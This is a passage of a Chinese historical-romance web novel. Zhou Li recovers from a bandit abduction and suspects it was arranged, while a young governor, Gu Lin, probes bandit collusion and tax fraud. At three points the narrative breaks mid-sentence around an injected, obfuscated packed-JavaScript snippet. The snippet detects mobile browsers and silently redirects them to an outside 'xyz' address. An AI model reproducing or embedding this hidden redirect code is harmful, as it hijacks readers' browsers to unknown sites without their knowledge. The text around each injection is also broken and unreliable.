张进看到她那一瞬总算大石头落了地，松了口气，再看这二人的情形不禁问：“这位兄台是谁？秦皓人呢？” 周梨看了看顾临的似乎伤口没再流血了，便收回了手，让顾临将她放了下来，张进看她都站不稳，走上前扶了一把又问：“这还挺严重呀，究竟发生什么事啦?” 周梨看顾临对她微微摇了摇头，明白现在不便表明他的身份，只回答道：“说来话长，秦皓现在上山捉匪去了，是这位公子救了我，现在他的伤要处理下。” 张进已注意到顾临的脖子，向顾临道谢后说道：“前面就是巡检司，那里总备些伤药，我们先往那里去吧！” 周梨和顾临都点头称好，张进便又背起周梨，一行人往巡检司走去。 4. 伤口 今日永州周边山匪出劫后，永州城内府衙、县衙、兵备道衙门和卫所都采取了行动，但却各行其是。 因为府、县衙门归布政史司管，兵备道道署衙门是由按察使司驻守，卫所又是由督指挥使司统领，巡抚衙门又空缺，可谓一盘散沙。 山匪早在长洛巡检司上游一个荒芜的岸边停靠了两只船，劫完四会乡后，绕道将打劫的大物件都运到了船上，这么大动静，巡检司是肯定发现了的，但他们由县衙下设巡检各个要道，不过三十来个民兵组成，哪里敢去正面交锋。 张进本是县衙的捕头，获知周梨被掳的消息后，求了知县领命去四会乡探查情况，同府衙的人一起追寻到长洛巡检司附近，又遇到了卫所派来的秦皓，从巡检司民兵那里得知，山匪似乎留下了一些人又隐匿了起来，他们才在周边巡查，正好就遇见了周梨。 巡检司的一间房里，周梨正坐在顾临对面准备给他清理伤口，她在路上大概跟张进交代了她的遭遇，但隐去了顾临的身份没提，只说山匪是追着她的。到了巡检司，她让张进去寻了水和伤药等物，便把他支走去和巡检司、卫所还有府衙的人周旋。 顾临看她将盐倒入清水中，拿了干布浸湿在他伤口上轻轻擦拭，盐水渗进划开的皮肤里，阵阵刺痛让他不自觉往后缩。 周梨却用力按住了他：“大人，僭越了，伤口必须好好处理！” 待他慢慢适应了些，又换了条干布浸湿再擦拭了一遍，而后打开一罐金创药闻了闻，蘸取了些，边抹伤口边道：“这是巡检司常备的伤药，不是很好，大人先用着，回去城里再换好些的药。” 顾临抬着头嗯了一声，目光所及只有她细长的眉和圆亮的眼，仿佛全部注意力都在他的伤口上，专注至极，抹好后她又转身剪了一块细布给他包裹上，动作娴熟，很快便收拾妥当，而后拿起烛火凑近检查一遍，却又看见顾临肩上深色的一片，周梨惊觉自己刚刚好像做梦哭了，立马红了脸，不自在地把凳子往后挪了挪，不再看顾临，自顾自拿起一瓶药酒去抹受伤的脚腕。 顾临笑着低头拍了拍肩膀，问道：“你学过医吗？” 周梨边抹便答：“是啊，我在仁安堂药铺做工，学了点皮毛，今天就是出城去看诊被掳的。” 说着突然想起什么，又没抓住，转而又想到顾临被追杀的事情，不禁问道：“大人，您来这上任有哪些人知道？” 她把她偷听到的话转述给顾临，继续道：“邸报上只说新任巡抚本月到任，其他一概没写。他们怎么猜到是您的？我还以为要从京里派来一个老头呢！” 顾临道:“我从广东过来，一路贼匪众多，吏部怕消息传出，我路上就会被截杀，故而特意没写我姓名。如今看来贼匪勾结的势力恐怕比我想象的还要复杂。还多谢姑娘机警，否则我生死难料，还连累了姑娘。” 周梨本意只是想把情况告诉他,提醒他留心，没想到他这样认真跟自己解释还道谢，实在有些汗颜:“若不是救了我要给我找衣服，大人也不会在码头停留，脖子也不会受伤，我本是因，幸而未铸成恶果，大人不怪罪，我已经感恩戴德，就不要再抬举我了。” 顾临摸着脖子笑道：“一点小伤而已，不碍事。” 周梨看他一副温润君子模样，没有半点官架子，实在不明白为什么会派他来任这样棘手的位子，但也不便再多问。 她处理好脚伤，端正坐好对顾临道:“刚刚人多眼杂，我没及时向秦指挥表明您的身份，还请大人不要责罚他！” “不会的，一场误会。你思虑周全，各衙门可能都有贼匪眼线，越少人知道我越安全。” 周梨有些尴尬:“大人想多了，刚刚的情形，我只是怕损了大人清誉……” 顾临疑惑地看着她，她却转而道:“大人，我不会告诉其他人的，但现在几个衙门都有人在这，您还是跟他们一起进城比较安全，就说是来访友的。” “好。”顾临点点头，又想起来问，“姑娘叫什么名字？一路过来竟没顾上问。” 周梨觉得没有通报姓名的必要，毕竟以后也不会有交集，可此刻也只好说：“我叫周梨，庄周的周，果梨的梨。” 正想着要不要也礼貌地问下这位大人名讳，就听到有人回来了，接着门被推开，张进领着程顺和平安走了进来。 他们从客栈逃跑后不久，程顺和平安前后脚回了客栈，得知情况后急忙一起向西南寻来，在山上逮住一名被卫所官兵追击的山匪，与官兵交涉后知道顾临他们已去了巡检司，便随同押解山匪的官兵一起下山来寻。 程顺进门看顾临没什么大事，放下心来请罪，平安却是跑过去顾临身边，焦急地问他脖子怎么了，顾临对着他小声说了几句，他才安静了，又走到周梨身前把背上的包裹递给了她，而后顾临起身走出房门，程顺和平安也跟了出去。张进看周梨打开包裹拿出一件衣服，也会意走了出去，带上了房门。 周梨坐着马车回到城里，已近晌午，她先一步让张进去仁安堂报平安，更紧要是拿治创伤的药给顾临，她掀开车帘，只瞧见平安接了药瓶道谢，却看不见另一辆马车里的人，她放下帘子觉得自己有些好笑，反正不会再见了，又何必在意。 回到白衣巷家中，巷子里竟围满了人。郑氏一夜没怎么合眼，见到周梨回来一身狼狈，伤心了好一阵，秀珍好说歹说才把她扶回房补眠，又去给周梨烧水梳洗。那边张进已自行洗漱换了衣裳，要去衙门点卯，出门前又去周梨房间嘱咐了两句。 秀珍提着热水出了厨房，看见他从周梨房间出来，正想上前说两句话，可张进已快步走出了院门，她有些失落地叹了口气。 午后，秀珍才哄了两个孩子睡着，就听着张兰在外面喊：“娘，我回来了！”秀珍轻手轻脚走出去掩了门，对张兰道：“姐姐怎么这个时候回来了？娘昨晚一宿没睡，这会还没醒呢！” “我本来打算晚点再来看看的，但我心里急得慌，索性午时一过就把面馆关了。”张兰提着一个食盒递给秀珍，“阿梨呢？是回来了吧，到底怎么回事？” 秀珍有些委屈地说：“阿梨还睡着呢，进哥回来也没跟我说一句话，我也不清楚。” 张兰拉过她的收拍了拍：“阿进是忙着去县衙了吧，又不是故意不跟你说话，你呀，就是心事重！” “是阿兰来了吗？”郑氏听到声音下床打开了门，“怎么今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047232|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日不忙啦？” 秀珍问道：“娘，您醒了，现在用饭吗？姐姐带了吃食，您刚好一起吃点。” 郑氏点头道：“我就在这石桌上吃，透透气。” 张兰走过去挽住她向树下的石桌走去：“今日不忙，我刚好回来看看。” 郑氏叹了口气：“阿梨还没醒吧？这可怜的孩子！你也是听说了吗？” 张兰扶着郑氏在石凳上坐下：“我在面管听客人说到有个姑娘被掳走了，我听着像阿梨，就急急回来了，还没到巷口张阿婆他们就告诉我阿梨已经回来了。” “昨天下午开始邻里都传遍了，她被山匪掳走了，现在就算回来了，外面肯定也传得不好听！” “嘿，你管那些人瞎说呢！”张兰在旁边坐下，“阿梨定不会在意的！” 郑氏语重心长道：“她婚事本就坎坷，前几日陆家来提亲，我还道总算要转运了，可她就是不愿，我早上才把婚事给回绝了，她下午就出事了。她都这个年纪了，再被指指点点，到哪里还能嫁得了好人家？” 张兰气愤道：“那就不嫁！我家阿梨谁都配得上，哪里轮得上这些人乱嚼舌根子！” “你都多大年纪了，还说这傻话！”郑氏大声呵斥女儿，“女子不嫁人，将来怎样过活？老了又去依靠谁？” 张兰看老太太有些激动，努力让自己平心静气地道：“阿梨是我妹妹，将来我有人依靠，她自然也会有人依靠！何况现在也没怎么着，被掳难道是她的错吗？通情达理的人家断然不会信这些风言风语的。” “姐姐，你们小声些，别吵醒了阿梨。娘也不要再胡思乱想，到时候病又重了，我看阿梨回来也笑嘻嘻的，挺好的。”秀珍端了饭菜进来摆在桌上，“姐姐又带了枣泥糕来，您用过饭再吃两块。” 郑氏又叹了口气，接过秀珍递来的碗筷道：“给阿梨留点，她最爱吃这个了。” “有许多呢！”秀珍转头对张兰说，“姐姐，你也教教我做这些个苏州吃食呀，可儿、羽儿虽没在苏州待过，对你做的这些也喜欢吃得紧。” “那有什么不成！”张兰笑答道，“转眼离开苏州都十来年了，最想的就是这些小时候的味道，可儿、羽儿肯定是随阿进了。” 笑语声飘荡在午后安静的院子里，周梨躺在床上睁开眼睛，枣泥糕是娘最爱给她和爹做的，她想起在顾临背上的那个梦，真切地就像身临其境。 在苏州那个有秋千的树底下，在檀香弥漫的书房里，弟弟调皮捣蛋，爹娘语笑晏晏，她已经不记得有多久没梦见过他们了，思念突然决堤，奔涌而来，她闭上眼，泪水还是止不住从眼角滑落。 院里郑氏边吃边问张兰有段时间没回来了，是不是很忙，云儿乖不乖，公婆身体可好云云。 周梨不禁又想起那年在家待嫁时，娘边督促着她绣嫁妆边教导她，到婆家要恭顺知礼，切不可如在家般骄纵，说着又抹泪埋怨爹把她嫁得太远，她还安慰娘，距离再远，只要有心，总是能回来看爹娘的，说不定她夫君当了官还能派在苏州左近呢，娘还笑她不知羞。 那时的她哪里知道，有些距离就是无法跨越，她要想跟爹娘话话家常就是再也不能了。 5. 怀疑 张进这日又回来得很晚，郑氏都已经歇息了。他抱着一双儿女嬉戏打闹了一番，秀珍在一旁笑看着，却又有一丝愁绪挥之不去，几次欲言又止，怕破坏了这欢愉的时刻。 还是张进察觉到了，把孩子哄睡后主动问她：“怎么了吗？心事重重的。今日家里来人了？我看厅里还摆着许多补品。” 秀珍终于开口道：“我娘今日又来了，还有叫杏儿的丫头，代她家小姐来探望的，拿了些补品。” “舅妈有什么事情吗？” “她领着陆家的徐妈妈来看阿梨的，也带了许多补品来。” “婚事不是回绝了吗？”张进疑惑地问。 “我娘那日回去还没来得及回陆家，阿梨不就出事了吗？现在都知道阿梨被掳走了一天一夜，外面传得……”秀珍瞅了一眼丈夫，“有点不好听，徐妈妈就找到我娘，说阿梨是出门看诊被掳的，他们也有责任，好在人完完整整回来了，一定要来探望，话里话外还是想娶阿梨。徐妈妈走后，我娘说都这样了，陆家都不介意，不如就应了吧。” 张进道：“然后呢，阿梨肯定不愿意吧？” “嗯，娘也劝了，她就是不愿意。” “不愿意就不愿意吧，娘也是着急了，有什么好劝？”张进很是无所谓。 秀珍心里很不是滋味，她本想让丈夫也去劝劝，但又似乎早就料到他会是这种态度，她才明白自己为什么一直心里像压了块东西似的，索性道：“能不急吗？我娘说的对啊，别人可不管流言的真假，哪里还有什么好人家愿意来娶阿梨啊？” 张进道：“那也要阿梨愿意不是？将心比心，你……” “不要老拿我说事！”秀珍打断他，却又没什么好反驳，只得气道：“我当年猪油蒙了心！”说完自顾自爬上了床，不再理张进。 张进不知道她气什么，无奈吹熄了灯也默默爬上了床。 第二日上午，周梨坐在院里的石桌上教可儿写字，两人正专心致志，忽然伸过来一个小黑手往纸上一按又一按，可儿好不容易写了几个大字，瞬间被小手掌印遮去了一半。 周梨抬眼一看，羽儿正趴在桌边，一张满是墨汁的小黑脸笑嘻嘻，边按边念叨：“我也写写，写写。” 可儿气得把弟弟往地上一堆，羽儿毫无招架之力，一个屁股蹲坐在了地上哇哇大哭起来。 周梨忙踱过去把羽儿抱起来哄，可看羽儿哭得脸上更是黑得胡作一团，不厚道地哈哈大笑起来，秀珍和郑氏围过来也都忍俊不禁。 “外婆，舅妈，小姨，你们笑什么呢？”郭云提着食盒走进院子，笑声才停了下来，羽儿也止住了哭声，郑氏问道；“云儿怎么来了？今天学堂放假吗？” “是的，外婆。先生今天告假了，我娘打发我送点吃的来。”郭云才十一二岁，面貌很像张兰，但又多了份机灵，羽儿听到有吃的，明显很有兴趣地朝着哥哥走了两步。 秀珍却一把逮住他:“先去洗个脸！”，在一片抗拒地叫声中把他拉走了。 郭云好笑地将食盒放到了石桌上，转而对周梨说：“小姨，我刚在巷口碰到有人找你，说是叫王保军，手里还提了一只鸡，我说来看看你在不在再去告诉他，要不要说你不在？” 周梨本来打算等脚再好些，是要去找他的，没想到他今日来了，她拍拍郭云：“你赶紧喊他进来。” 郭云应了声一溜烟跑了出去，周梨又对郑氏道：“舅妈，是那天喊我出诊的人，我就在这里见下他吧。” 郑氏点点头，一边拎起食盒，一边牵着可儿道：“走，去看看大姑姑又做了什么好吃的。”可儿一蹦一跳跟着祖母走进了客厅。 这边郭云已将人引了进来，周梨站起来笑着道：“王大哥，你怎么来了？我哥哥不在家，就不请你进屋了，这里坐吧。” “不不，不坐了，我就来探望下姑娘就走，家里没什么拿得出手的，您别嫌弃。”王保君明显有些局促，脸上青紫未消，拎着一只鸡不知道该往哪里放，挠挠头道，“实在对不住，都是因为我才让周姑娘受了这样的灾祸。” 周梨打发郭云去倒茶后对王保君道：“这件事我思来想去都觉得蹊跷，你先坐下，我有话想问你。” 王保君这才不自在地坐下，随手将鸡放在了脚边，郭云端来茶放下就回了客厅，院子里只剩下周梨和王保君。 周梨问道：“王大哥，那日抓我的几个人，你见过吗？” “没有见过，应当不是我们附近村庄的。”王保君摇了摇头。 “你们村附近还有别人被抢了东西吗？” “没有，没有山匪去抢我们那，我就奇怪怎么那几个人好像在那专等着咱们一样，抢了你就直奔四会乡那边去了。” 周梨觉得更可疑了，想了想继续问：“那你们问到阿瑞到底吃过什么东西了吗？” 她那日问阿瑞是不是吃了什么不寻常的东西，他只说没有，但依周梨看来，阿瑞这种症状肯定是吃出来的，如此否认不知道有什么隐情，所以临走时还嘱咐了王保君媳妇，让她好好问问，以后断不可再吃。 “他娘说是吃了糖葫芦，因为他自小脾胃不好，我们都不怎么乱给他吃东西，何况家里又穷，也没什么好吃的给他。那日村里有货郎来卖糖葫芦，我没给他买，可他嘴太馋，偷偷跑出去一路跟着那个货郎在村子里窜，那人大概看他可怜，就给了他一串。他偷偷吃了才回来的，不敢让我和他娘知道，没成想晚上就吐了，就更不敢说了。还是他娘慢慢哄着，他才说了。” “那个货郎以前也去过吗？” 王保君想了想道：“就最近来过两回，大概头回来就卖了不少糖葫芦，没过多久就又来了。” “你们村还有其他孩子吃了糖葫芦不舒服吗？” “有好几个买了糖葫芦的，但都没有事情，就阿瑞，大概就是他身体太弱了吧。”王保君看周梨出了这样大的事情还一直在关心阿瑞，更觉得有愧，“都是这孩子嘴馋，要不也不至于连累了周姑娘。” “王大哥别再说这样的话了，再说我也没怎么样。”周梨确定一根普通糖葫芦不会让阿瑞遭这么大罪，她越发觉得有蹊跷，“这件事不怨阿瑞也不怨你，这只鸡你还是带回去，多生点蛋给阿瑞补补。” “那可不行，你不怪我是你大度，你要不收下，我心里可过不去。” 周梨见他态度十分坚决，只得说：“那好，我收下。王大哥，你先喝口茶，我去去就来。”说着起身一瘸一拐回了房间，再回来时手里拿着一个白色药瓶递给王保君：“王大哥，这个是治瘀伤的药，你有伤的地方都抹抹，好得快些。” “用不着用不着，”王保君连忙摆手，“我皮糙肉厚的，糟蹋了姑娘的好药。” “这是我自己做的，不值什么钱，跟你这只鸡比我可赚大发了。”周梨将药塞给王保君，王保君不好再跟她拉扯，只得接着：“那多谢周姑娘了，你好好养伤，我就先走了。” “好，我也不留你吃饭了。慢走！”周梨目送王保君出了院门，将鸡提去了厨房。 秀珍利落地将鸡杀了放在盆里，倒了些开水，便拔起鸡毛来，周梨也端个小凳子挪过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047233|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮忙。 郭云走过来说：“小姨，书铺于老板问我你的书抄好了吗？好几个人等着买呢！” “就那书还畅销得很呢？都在桌上，等我弄完这鸡，去收拾好给你，你刚好带给他。” “那我自己拿吧！” 秀珍道：“这么着急干嘛，你不在这吃饭吗？” “舅妈，我不在这吃了。”郭云边说边向周梨房间去，“我早点把书稿带回去给张老板。” 周梨笑道：“他给你什么好处啦？” “他答应把那写三国的书借给我看。”郭云走进房间，见桌上放着厚厚的几摞书稿，便拿周梨日常装书稿的布袋子，一股脑的都给装了起来，出门招呼了声，一溜烟就跑了。 巡抚衙门在这深夜里，终于安静了下来，顾临仍坐在寝室桌前认真看着案牍，脖子上伤口处结的痂已然脱落，显出淡淡的粉色。 这几日他见了各司的大小官员，大概了解了永安辖内各个地方的人口、土地、兵力以及匪乱情况，晚上驻守安州的布政使司参议岭北道杨鸿才赶来汇报了永安的赋税，可以说要钱没钱，要兵没兵，却几乎县县有匪。 不仅如此，他翻了以往的卷宗，山匪似乎对官府的动向一清二楚，剿匪行动多半劳而无功，寻不到山匪位置，甚至还常常遭到山匪的精准伏击。衙门里有人通匪，显而易见。 平安送完杨道员回来，看顾临还坐在桌前，催他道：“大人，已经三更了，早点休息，明日再看吧！” 顾临头也不抬道：“就睡了，你先回去吧。” 平安清楚他如果回去了，他家大人还不知看到什么时候，也不答话，自顾自在一旁打开衣箱，取出顾临明日出门要穿的常服，忽然看到衣箱旁边的匣子，才想起来忘了提醒顾临抹药，那是那日进城后，那位周姑娘让张进追着拿给他的，匣子里面有个青色小瓷瓶，他已记不清叫什么羊脂膏了，旁边本还放了一锭银子，说是还衣裳钱的。 他拿起瓷瓶走到顾临面前道；“大人，快把药抹上吧。” 顾临闻言接过瓷瓶，问道：“抓回来的几个山匪问出什么了吗？” “府衙跟卫所交涉了好几日，邢大人才把人带回府衙审问，今日马齐去问了，那边审出来说就是幽州来的，说得到消息知道朝廷新派了人来，他们大王让来给个下马威。” “消息从何而来？” “都说不清楚，来这里就是大王下令，那天是他们领头的突然得到消息说确定是从广东来，才分了几波人蹲守在附近几个码头的，但消息来源怎么审都审不出来。” 顾临放下卷宗道：“那为何只单单抓了一个人？” “他们大王交代了这次要快速行动，不准掳掠妇女。周姑娘是一个叫葛大富的自作主张抓的，说因为是秦皓的相好，秦皓就是卫所的指挥，几年前剿匪杀了他们不少人，他捉了周姑娘要送给他们二大王，他们那位跑了的领头也就没管。对了，葛大富不是这次从幽州来的，他平时就在周边混迹。” 顾临打开瓷瓶，里面是白而微黄的软膏，有一股淡淡的草药香气，他抹了一点在伤口上，感到一阵清凉，沉默了半晌又问道：“咱们衙门里的人都查过了吗？ “我和程顺、马齐无事时都跟他们混在一起，旁敲侧击地问了些情况，没有发现什么特别可疑的，也好好威吓了他们一番，现在主动弃暗投明可以既往不咎，否则杀无赦，三班六房目前看都正常，就是有两人告了几日假了，一个是要娶儿媳妇，一个是病了。” 顾临点头，又拿起来案上的卷宗，不再言语。 6. 询问 周梨在家养了几日，郑氏再也劝不住，这日一早就拿了卷画出了门，走路还不太利索，但也无大碍了。 她走到墨远书铺时，伙计阿贵才刚开门，看到她老远便喊道：“周姑娘，不是听说你受伤了吗？那日到底咋回事就把你掳走啦？” 周梨走过去，没回他的话，只问道：“那日郭云拿来书稿给你们了吗？” 阿贵点头：“给了啊，拿来装好当天就卖完了，这本书真好卖，掌柜的让你们再多抄几本，他都想拿去雕版印刷了，但又怕钱花了，这阵风过得快，人又去看别的了……” “那你有没有看到里面夹了张行书写的词？”周梨打断他问道，昨天夜里突然想起那日随兴写了一首词，但是房里找遍了也没找到，她想应是夹在那一堆书稿里了。 “没有吧，书是我装的，没看见呀。”阿贵挠挠头，“不过那日活多，我看你那书稿也是排好的，我装得也快，就没仔细看。” “那你还记得卖给谁了吗？” 阿贵为难道：“那我哪记得住呀！是什么很要紧的东西吗？” 要紧吗？可能自己想太多了，周梨只好道：“也没什么，那我先走了，下次再拿书稿来跟掌柜的结账。” “你手上的画不是卖的吗？” 周梨笑着摇摇手便向前走，按着杏儿给的地址，寻到井水巷的一家宅院前敲了门，一个老婆子开门将她引了进去。 周梨随着老婆子转进垂花门进到后院，大概来得太早，两个小丫头还在院里打扫，杏儿正端着一盆水走出正房，看到周梨惊讶道：“周姑娘，你这都好了？怎么这么早就出来了？我家小姐还没梳妆好呢。” 周梨还没回答，房里已传来一个悦耳的声音：“是阿梨吗？快进来！” 周梨对杏儿笑了笑，跨进屋内，有一股淡淡的沉香味将她包围，楚云坐在菱花镜前，还未施粉黛，但也难掩美艳姿容。一个丫头给她梳着头，她从镜子里笑看着周梨道：“哪有好人这一大早就敲别家门的？” “我赶着上工去呢，杏儿说你们新搬来了这里，我看挺顺路的，就趁早来给你送个贺礼。” “送礼还顺路，真没诚意。”楚云假意嗔怪，又伸出手来，“我来看看礼贵不贵重。” 周梨笑着把画轴放在了桌上道：“我可没钱，就给你画了几条小鱼，你回头慢慢欣赏，我来其实有事问你。” 楚云看了眼周梨，转而对旁边的丫头说：“你先下去，都等我唤了再进来。” 丫头走后，楚云过来拉周梨坐下问道：“你是不是要问陆家那个吴娘子？你是要嫁给陆志远了吗？”那日杏儿回来告诉她，周梨问起她是否认识吴娘子，她便起了疑心。 周梨颇有些惊讶：“你这是听谁说的？”陆家来提亲应当只是老太太来探探口风，没有几个人知道。 楚云斜睨着她道：“还想瞒着我？陆志远亲口说要娶你，你那日跟杏儿打听吴娘子，不是因为这事？” “等会，”周梨更惊讶了，“陆志远亲口说要娶我？” 楚云点头认真道：“是啊，陈冕给我赎了身，在我们楼里摆了几桌酒，请了些生意上的朋友庆贺，刚好陆志远也在。都喝得有点多，就有人打趣陆志远，说他家吴娘子也是我们楼里出去的，他又一直不续娶，是不是打算把吴娘子扶正了，闹着也要喝他喜酒。他就说快了，不过对不住吴娘子，他娘给她相好了别的姑娘，过几个月就成亲。然后大家追着问是谁，可不就问出是你了。” “什么时候的事？” “初七。”楚云很笃定，因为这对她来说是特别重要的日子，“我那几日忙，正准备抽空问问你这事情，结果你就出事了。” 可初十周梨才知道陆家提亲的事情，当时就给回绝了，敢情陆志远是觉得她一定求之不得了，还没影的事就大肆宣扬，周梨心头火起，可转念又一惊，既然陆志远这样觉得，那么吴娘子肯定也一样。 周梨仔细琢磨过，被掳这件事情很可能是有人设计的。为什么葛大富他们几个不跟着大部队在四会乡，而刚好出现在云泉乡夏府里，还就掳了她没干别的事情。如果是故意蹲守她，那他们怎么能事先知道，她在山匪出劫这天会出城？师父怎么刚好就不在的时候，只认仁安堂的王保君就来喊出诊？ 如果这些都是故意安排的，那么幕后之人必定很熟悉仁安堂的情况，跟师父喝酒的陆管事和李武都可疑，可他们和自己还有秦皓都没有仇怨。 其实话说回来，跟她能谈得上有仇怨的，也只有秦皓的夫人冯珂，但冯珂跟仁安堂没有任何关联。 思来想去也就吴娘子有嫌疑，药房的生意陆管事是要向她汇报的，所以周梨才跟杏儿打听，但她始终觉得吴娘子没必要这么做，毕竟只是陆老夫人有这个意思，她都还没应承，婚事八字都没一撇，吴娘子就算容不下她，也不该在这时候就如此费尽心机地设计她。 可如果他们都觉得这门亲事板上钉钉了，那吴娘子有这个心思就不奇怪了。 周梨对楚云道：“你跟吴娘子熟悉吗？她是什么样的人？。” “她跟了陆志远的时候，我年纪还小呢，跟她不是很熟悉。就记得挺争强好胜的，舞跳得特别好，她不是那一拨里最好看的，但现在看是归宿最好的一个了，十七八岁就出了楼，陆志远虽有几房妾室，但只有一儿一女，都是是她生的，前几年陆志远的原配过世了，楼里都在传她要扶正了。陆志远是你东家，这些你应该都知道吧。”楚云又仔细看了看周梨疑惑道，“不过到底怎么回事？你不知道陆志远要娶你吗？” 周梨笑道：“我只知道是陆老夫人逼他娶我，没想到陆志远这么孝顺。” “那你要嫁给他吗？”楚云眨巴着大眼睛。 周梨摇了摇头。 楚云没有得到肯定的答案，有些期待落空的感觉：“那你问吴娘子干嘛？我白高兴一场。” “你高兴什么？你也觉得我就应该嫁给陆志远吗？”周梨有点不高兴，她以为楚云是了解她的。 “不是的，阿梨，你向来有主意，我高兴是以为这是你自己的选择。”楚云连忙握住周梨的手解释，“我们都是没有双亲护佑的苦命人，我如今也算是有了依靠，我只是希望你也有好的归宿。” 周梨看着楚云已然眼泪汪汪，也握了握楚云的手安慰道：“我挺好的，我攒了不少钱了，我打算过段时间搬出来，就在你这附近赁个房子住，没事来给你做伴好不好？” “你刚还说没钱送我礼呢！”楚云笑嗔着拿起丝帕擦了擦眼角，又道，“只是你一个女儿家出来住总不好吧？” “没什么不好的，我也在舅妈家打扰这么多年了，又迟迟不嫁，总是给他们添麻烦的。”周梨说着站起身，“我要去上工了，你继续梳头吧。” “好，你要经常来看我。” “嗯，阿云，你要幸福美满，年年有余！”周梨又拍了拍楚云的手，出门喊了杏儿他们进去服侍。 楚云打开放在桌上的卷轴，几条小鱼栩栩如生，悠哉游哉跃然纸上。 永州城三面环水，顾临同杨鸿一行人穿着常服，自东南建春门出城经过涌金门直行至龟角尾，乌江与洱江在此汇流成邬江，一路奔流向北贯穿整个江西。他们途径的几个码头桥头，都熙熙攘攘，来往贸易不绝。 杨鸿看着比自己年轻十几岁的顾临，他正面对着龟尾角负手而立，衣袂翻飞，身形颀长瘦削，分明就一个文质彬彬的俊俏后生，实在不明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047234|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白朝廷怎么会让这样一个人来接这个烫手山芋。 江西本就有巡抚，又设立一个永安巡抚，不过就是江西、福建、广东和湖南四省交界之处匪乱不断，这个职务说白了就是来剿匪的，前几任巡抚花费了巨大的财力、兵力都劳而无功，匪乱反而有愈演愈烈之势，前几年更有永县主簿死于剿匪战场，前任巡抚无力抗衡，竟递交了辞呈，未经朝廷批复便自行离开了。 如今又派一个这样年轻的官员，实在令他费解。今日他见完府学、县学的官员，便喊他一同来看城外的桥头码头，不知作何打算。 顾临看了江上来往船只许久，忽而转头道：“广东商贸大多由邬江转运内地，我查了安州府折梅亭抽分商税循环文簿，前几年每年均抽有过商税银万余两，这两年却倍少于前，杨大人可知内情？” 剿匪非一日之功，粮草兵饷都是巨大的军费支出，永安兵弱，以往剿匪多请广西狼兵来援，狼兵虽然凶猛，但土匪也狡诈，狼兵一来他们便边战边躲，狼兵一撤，他们又卷土重来，终究远水救不了近火，且狼兵破坏力极强，多有扰民行为，所以还是得靠自己的军队。 但府库没钱，当今皇帝荒淫，大兴建造行宫，国库空虚，永安连年剿匪都无成效，朝廷也不可能再给永安专门拨款，所以顾临上任虽千难万阻在等他，但他十分清楚，首先要跨过去的便是筹钱这第一道难关。 杨鸿没想到顾临才上任几日，竟已查得这么细，担心被问监管不力之责，急忙拱手道:“回大人，折梅亭税关由安州府管理，平日由典吏负责抽分，贪污徇私总不可杜绝。” 顾临继续道:“我来上任的路上，路过折梅亭，见有商船假托权贵之名，便免于抽税，我昨日查看文簿，册内记载简略含糊，只有某日抽银若干，不见开有某商人某货物，可见贪污舞弊之盛，杨大人请务必查清此中情况。” “是，顾大人，折梅亭税关失于监管，下官也有责任。” “我本意不在问责，”顾临转身指了指龟角尾，“只是想将折梅亭税关合并至永州关一并收税，匪乱之势愈加凶猛，战事一触即发，到时处处都需用钱，紧要关头，商税税银断不能放任如此流失，查明其中积弊，我据此才能向朝廷奏请移关至龟角尾，有巡抚衙门和岭北道监管，总要收敛些。” 杨鸿松了口气道:“大人英明！下官一定速速查明来报。” 顾临边往前走边说：“只有商税收入来供应军需，恐怕还是不够，还得从别处想想办法。” “但是永安山多地少，且耕地十分贫瘠，连年剿匪，赋税本就过重，土地上是收不上多少税的。” “自然不能，再增加土地赋税，更多的老百姓会抛弃土地，上山为匪，我的想法是从盐税着手，不知杨大人觉得如何？” 杨鸿觉得这位年轻大人可能对地方盐税不是很清楚，仔细回道；“普通商税是三十抽一，盐税是十抽一甚至五抽一，盐又是家家户户必不可少的，税额确实巨大，但安州、永州两府食广盐，盐税在广东南雄府就已经征过税，进入永安后便不允许再重复征税。” “盐税所涉利益庞杂，永安若想要这部分税收，确实有些难，这个暂且放放，你先去查明折梅亭相关事宜为要。” 杨鸿领命先行告辞，顾临继续往前走，买卖的吆喝声、拉纤的口号声和脚夫们的交谈声不绝于耳，他仿佛在嘈杂声里看到了十年前，那时的他奉行“读万卷书不如行万里路”，意气风发，如今一样的景象，心境却已大不同。 可正当他陷在回忆里时，突然有人唤他，待他循声望去，却发现程顺已在几尺外将那人拦住，那人仍挥手笑喊着：“承川，是我！”身后的平安也激动地叫道：“是陈公子，是陈公子！” 7. 流言 陈冕刚刚从省城昌州回来，在码头上见到顾临时，还以为自己看错了。他们上次见面还是好几年前，顾临因弹劾权宦刘林被下狱，后来贬到徐闻那蛮荒之地，陈冕赶去见了他一面。 